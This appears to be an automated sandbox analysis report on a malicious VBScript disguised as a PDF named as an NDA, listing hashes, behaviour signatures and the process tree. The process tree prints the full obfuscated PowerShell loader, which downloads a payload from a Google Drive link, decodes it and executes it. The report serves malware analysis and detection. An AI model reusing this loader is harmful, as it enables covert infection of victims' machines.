Overview

overview

8

Static

static

1

NDA_HGD-PK...df.vbs

windows7-x64

8

NDA_HGD-PK...df.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/09/2024, 08:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    NDA_HGD-PKG2-TC_05.09.2024·pdf.vbs

  • Size

    38KB

  • MD5

    593879f2e37012af745bcfa9f602d3f7

  • SHA1

    a70e3166ab81bfa0fbc4fa0f7aa5a17ecf67e2ff

  • SHA256

    6a5314d8ee16e200a70c5f6b5f6f548d5cdd5a203c2f470005ee68a9e3b6f24f

  • SHA512

    fa40a6c20c9f75b2f4554a4571ff38c364cbdc4900a3587e27dc3b6a15fe1d39283e8497cb221a1067911e79f9f3cff672a6eb0574a85ad8d588e57cdd881d82

  • SSDEEP

    192:gozrXGzPtdLgbF08j4sFqyfbmxIjiTpP9eArmLcE1ahmC8A2XDLsYbo5rb5xxoZ6:/OPtdyh4cmxIj+pFgceC+2rbVKDe

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NDA_HGD-PKG2-TC_05.09.2024·pdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.Name) {$Skanken++;$guldringens+='subst';$guldringens+='r';}$guldringens+='ing';Function Udrykker($Pramblernes){$Bertrands=$Pramblernes.Length-$Skanken;For( $Lgeurters=5;$Lgeurters -lt $Bertrands;$Lgeurters+=6){$Interpretatively+=$Pramblernes.$guldringens.'Invoke'( $Lgeurters, $Skanken);}$Interpretatively;}function Iatrophysics($Retsmedicinen){ . ($Mercerisere244) ($Retsmedicinen);}$Typhomania=Udrykker '.mbarMruteboHornbzChautiForpllCa enlMolasaPisis/Annon5Zebad. c nt0Gran. Un ea(MousiWSpidsiWeetyn.iliedTualaoGra bwAfskasOpsam LavisNsgeprT,reaa To,al1Eth.r0 Magn.sprit0Petal;R.for TransWFundgiProtonAlkva6Trump4Milie;Barba En.erxOrphi6Prfi 4Wo ll;Stile TheorD kkevRejse: Refe1Rff,l2Pervd1 Keb,. Desi0Hayse) .cti Pu opGtomaheS.rcocBandokalkyloPagin/ Nonp2 ,ype0Bedst1Spion0 A to0ruter1inter0Offer1Salvi Rel,cFUn.aniMournrPurpoeHjl.efStreuoCockexPjece/,hder1Bespe2Ri,es1Forbr.Subla0Caris ';$Catechizing=Udrykker 'SubtrUH vessSh bbebordbrDvstu-MfsafA ap.tggrnsee ,kkinVagintFrer, ';$Shifter=Udrykker ' frachRibset Flust Af.npskndisSatan:Mistu/Noval/Ov,rvdBl,trrTtneliB varv ,lgaeCherv. GudegGrundoRu.tfo .medg Macklodyleeflu.t. AmphcEmhpaoBlu.im.oomn/PaleouSpr gc Silt?SgnineUdrugxBlyhopSynchohalvfr Ta.it awnf=LiaisdA,defoMismow NoegnAllitlVinewoFindeaPhasmdSinss&HaveriSinzed af r= Broa1Ly.te2 Anal-countESy,tevDispevSgelyd ugegiSynteXIsoleVMarioH suspN Sulf5JermakSmaaoDPer,p_AngstEGonadMNeur bPrionnbelgi_aandr0 ,onirRammeqFritijKaud.TSkureAtestoEVin.id elopxDetorzS alepSub.a3Warr. ';$Prefungoidal92=Udrykker 'Octot>Recog ';$Mercerisere244=Udrykker 'devaniDer ie Bestx Sned ';$Renotify='Kenderminens';$Solepiece = Udrykker 'HadlaeRetssc UdsphDissuoDomin Jorde%MoodlaNonanp Fo.hpUnargdRegisadogdotPenduaSem,w%Unise\FremmJViru u,orendFi.eagNongrm Nonca.oynetImp eiF,rvecSpun,. Col OSfol bGods,sSprai Befor& Fro.& Udty CivieTilbuc,enkah Ungoo.omte Tre.vtbev.s ';Iatrophysics (Udrykker 'Tappa$Jessig.ilfalPreinoForesb Ru.taSiderlArml.: SkvuFDemuloS,rthlChemikNatureDmonotTjeneiGr.ilnRightgThur.s BasksVin.eaalimemPulablForlaiTh,rtnWreckgrechaeTrykkrKikse=.oldu(Refi.cunspamSklmedKn.tn Mis a/Droppcparas klist$Vrd fSBioneoThorulBi,noeTekstpShameiBullseCellacHu.aneSnarl) A,ro ');Iatrophysics (Udrykker 'Malob$ HarbgSoni lSubdeo kibsbSkr,aaRe.oblforho:Lum,lDPurgaoRenocb Brn,bDesere.ompllautomtEnuncbSpille Forks.ilslkOmfanaRabart FresnTi.laiFkaltnMajkegR,padsUljahoForb,v Synse Tam roophoe Tr pnFranksEmbarkSubscoEm rgmStatss G,sttbaalteNormorF ldsnMan feVenc =sh,ck$HickmSamarahAnliniSafi f Pyr,tPrveleTric,rInter.T,lflsMilitpDimmilreseci Mor.t,dpen(K lik$SmackP,ozerrSlvsmeMidtpfKartou vispnAn.iogForsoos.udei ,soldRangeaKaglklSuper9Lysat2E tom)Estla ');Iatrophysics (Udrykker 'Af.ud[MoralN Bil.e KurdtInfor. SashStagk e Ato rZonelvSuperiFrontc ParaeDi.psPSlutno A sliRyokanFo.flt edevM LassaSkyttn Ki ban.bregCoev,e.alayrMalen]I,ope:Zo.ge: PactS Un.ee ProgcUforuu.higgrNonsui UrhntDommeyDeploP AutorKonfioBalnit Te,mo estec Aftlo Subhl Aare Celli=Tendr Skrbe[Nanj.NSat.re,arnotkanal.PrecaSSlgtse Gas.cSyst,uRenovrIndiaialgebtStatsy QualP HederJobbeo D aptcirkeo G.brcSialooS.bcolLinjeTTordeyBureapTabloeMyogr]Dodek: omun:BirdbTEkspllUd,arsAkomo1Apast2 Tron ');$Shifter=$Dobbeltbeskatningsoverenskomsterne[0];$Powderlike= (Udrykker 'Emp r$OverggDump.lSaf,aoErkenbAv ncaDybsilUnpre:PosteP HandrPrst.oTuttipReobjr,ongoeSkdskcNgtheeCon rdRespeeStribnDa.srtP.eca=Pal,eNKnurreUnattwByg,e-PrisoOW rldbLa,atjLoathe AtrocPlanetHaemo TransSStr ny,riggs GiartReorieAu.ubmPe.in.AppttN Maine Unsut M.le.Kole WRec.neDilutbkontrCTaph,lKonfiiBan,oeCo menReevat');$Powderlike+=$Folketingssamlinger[1];Iatrophysics ($Powderlike);Iatrophysics (Udrykker 'Outj $DiggiPSt.kkrMis roUforupVisserKontiedryppcNarice BehrdTra,seGebrknLa.dvtQuail. Wri,HHemolesen.raA.stadFo.ldeUnderr OleasRe,la[Brdre$F,bskCNovaea Rep t O,tweB.nghcBeboeh AdiniIterazKogekiOmlagnPreexgSport]Falli=Unchi$InactTdepe,y,opsipOr ngh P,ipo Scr.m upilaFrafrnMischiSkrutaTvang ');$Stodgiest=Udrykker 'Udvlg$GrundPDram.r RokeoGrundpCitatrbeca,eUnd,mcDad.eelatendfyrafeBaadsnRedistS,eal.TtninDGenneohansiwS,lsenOrbiclP,eaboVans aAcoladTutoyF NonaiN crolClitoebursa(Fauco$UlumiSKitlehGaardi homofSkrattSyen eMonotrPhyci, Udpi$KurerP linihrepiny TwistF.nalo,rnttsPreevaBrombumeds,r D,wniLin,eaSacha)Str o ';$Phytosauria=$Folketingssamlinger[0];Iatrophysics (Udrykker 'brnef$Da,asgUn.erlFetteo PillbEsrabaFstniltenni: .rotE RattnTar,iuDuckbn D,msca.inoiKjereaFa.tmt BjeleNedrydVe,lb=Erhve(ZacatTTai aeIldrasEyradtConce-S,artPIsenuaRednitSubdehLifto Allot$GulddP.elenhBoldsyPlagstCl,uso strasSpredaObjekuPentarRefloi sektaI,duc)Belou ');while (!$Enunciated) {Iatrophysics (Udrykker '.ompe$ Imp,gPrebrlSt.llo Son,bAvlstaPheaslCifre:triplSMonacaStamkedropsrBsterdCannieBes,el,pplieMiniss,nsip=,ichr$ ,kritklev rShanauBalaaeIndet ') ;Iatrophysics $Stodgiest;Iatrophysics (Udrykker 'CertaS StratPlainaRigsarNewsgtLi,it- NonsSAn inlDs.kresparteC,iggpStorc Beh.4Dynel ');Iatrophysics (Udrykker 'Flink$Hal,egBeskylTrdoko FortbTr laaOutg.l Felt: D prE B.etn ObseuApolonerlascEmoluiKolo a S ant PhileSkaktdSkrp,=Weste(bil,eTUnsa.eFlskesBarbetBrawe-Lud,ePTho oaTre itSlagthFrpla Unaes$.ventPParo,hShellyDokumtToyonoScr.ws CereaUnprouBefr.rForesiAfsikaSelvb) Tebr ') ;Iatrophysics (Udrykker 'Romer$F.ldsg RigslRampaos relbUnderaB.trylSwoon:Copopc,uddoaTovrelMusikcC cafy DestdTae ioNetsanBom.e= ,pac$HylocgNaboblG,rnioTr stbNyttia ParalUdkr.:DiaziHCleara ursrSherbpSk ansNonfr+.utut+Forpa%Udelu$ UninDMesiaoElektb DaybbResuleEulaml TeortTubbibHalvfeFuldrskar,okSubria oceutAcervnLogikiin,uinIsraegMelo sFilnuoC angv PrereCenterKursee HammnT.mposM.sgok Om,toTaaspmF rtosSe qutGl sve Fullr NeonnUnconeB ckt.PentacSmre.o .apeuSigninNighttSlumr ') ;$Shifter=$Dobbeltbeskatningsoverenskomsterne[$calcydon];}$Likelihood153=334474;$Franskmnds=28155;Iatrophysics (Udrykker 'Ove.h$ kagegBan,nl Mys oVirksb Diama Dia,lNonsu:,onvoH.ddaneSemitnfilernUnderaMuskufOppora Fag.rC.ucivvokseecli kdopisteTingh Plove= Ud.n SpectGWhorieslambtGeoge-ChoroC latroPericn Le,etTockreTenfon,nightKer,t ,ibbe$GastrPUdpanhMilieyRegultBlistoI,effs CounaBrtteuTrillrMolesiSy smaBijas ');Iatrophysics (Udrykker 'Culot$Gul.ggLaighl CheroUgeprbTyggea A,ndlF sta:,ockeNNo,eneAflevpAfslahFiskerphiloo ReinrTi gsrCoenahBrug,aS,urdgUninfiForbuaStabi U de=.ppel Bunds[Ten.eSDamesyMiljfsP lyptIntemeopbevmWedd..JenhjCneurooUn.ernasphyvAquarekastarHek at Ufor]Udfri:Shave:Ov rmFPendlrtyngdoNonelmRid,lBRegela,nlubsGentaeFrig.6Holac4OverlSRentet Ch krCurtsi GrocnEf.ergfodhv(St.gn$AdlinHEspadePrisonregi,n sekuaThiolfEle,taSobbyrRaasyvOv rjeE,brydD,bbeeNonce)U.los ');Iatrophysics (Udrykker 'Lo,th$FrafrgLa.iellaudsoGyvinbNobila Ob,llSoi,l:SippePKohoro PaalpGaarduPimpllLakarrwinertAller Mos,a=beslu Conse[MuddaS LeptyJgerksRu.let En,oeDagplmPedip.ekspaT B.nie BidexCatritPolit.sin eEStresnSho tc Dumpo UdvidAfleviTabelnKarsegEfter]Comfo:,herm:AdmirAhove.SUnsepCKasseIZigoeIVandr.o.slmGIndiveInhibtFnuglSByt.etMa,inrSwageiMindfn.nteng forh(Muske$ FalsNTrafieLommepUnconh.rochrRomaio ProlrReexhrFr,adh Conta BifagEructiInspeaDvrg.)Rda,g ');Iatrophysics (Udrykker ' udle$Gangeg Ol,tlArm,eoDurkdbTer.aaTypiclBu ch:Bro zTVectorAkoomiAtt,nl WavilPropsigoo tnHibisgTrackeBa.krrMilienK,nore pise=Postl$,almiP emioQuellpKardsuMon glMohikrNissetUncap. Dy.psAlderuRoanbb FdsesAchrot MissrTekstiPodernKon ug Roma(Shrim$TroldL Ungri FaamkBetaleDykkelP ntaiura ihKne,poStemmoT,lgidWadab1 Ren.5 est3Ba bu,Cl.an$LftinFCt nor Psyka Perin,dposs,agtuk HaplmFrkennJudaidLabiosRakit)A,peh ');Iatrophysics $Trillingerne;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3800
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Judgmatic.Obs && echo t"
        3⤵
          PID:4212

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhrupc5v.rzi.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/3800-0-0x00007FF99D703000-0x00007FF99D705000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3800-1-0x00000237B4A90000-0x00000237B4AB2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3800-11-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-12-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-14-0x00007FF99D703000-0x00007FF99D705000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3800-15-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-17-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-18-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-19-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3800-22-0x00007FF99D700000-0x00007FF99E1C1000-memory.dmp

      Filesize

      10.8MB

      Download